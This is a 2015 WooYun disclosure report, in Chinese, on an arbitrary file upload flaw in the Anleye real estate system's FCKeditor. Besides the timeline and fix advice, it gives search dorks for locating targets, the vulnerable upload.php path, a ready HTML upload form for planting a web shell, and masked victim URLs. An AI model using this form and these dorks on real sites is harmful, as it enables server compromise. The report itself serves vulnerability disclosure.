当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128540

漏洞标题:某房产系统任意文件上传漏洞

相关厂商:安乐业房产系统

漏洞作者: 路人甲

提交时间:2015-07-25 11:09

修复时间:2015-10-25 20:54

公开时间:2015-10-25 20:54

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-25: 细节已通知厂商并且等待厂商处理中
2015-07-27: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-07-30: 细节向第三方安全合作伙伴开放
2015-09-20: 细节向核心白帽子及相关领域专家公开
2015-09-30: 细节向普通白帽子公开
2015-10-10: 细节向实习白帽子公开
2015-10-25: 细节向公众公开

简要描述:

RT

详细说明:

程序:安乐业房产系统
涉及版本:全版本(目前存在的大部分是V4.0 和V5.0)
漏洞描述:fck编辑器上传过滤不完全,可上传路asa cer 这样的文件或者建立x.asp文件夹,利用IIS6.0解析即可getshell
不是IIS6.0的话可构造上传php等文件(media type未过滤)
/common/lib/FCKeditor/editor/filemanager/upload/php/upload.php
关键字:powered by anleye
inurl:community/g-xx.html

图片3.png


图片4.png


案例非常多,这里举一例:
http://**.**.**.**//common/lib/FCKeditor/editor/fckeditor.html

图片6.png


http://**.**.**.**//data/fck/File/1.asa

图片7.png


构造上传:(本地构造上传表单,可上传任意文件)

<form id="frmUpload" enctype="multipart/form-data"
action="http://**.**.**.**//common/lib/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>


图片8.png


查看源代码得到shell路径:
http://**.**.**.**//data/fck/1.php

图片9.png


其他部分案例:
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**//common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html
http://**.**.**.**/common/lib/FCKeditor/editor/fckeditor.html

漏洞证明:

如上

修复方案:

升级货替换编辑器

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-07-27 20:52

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无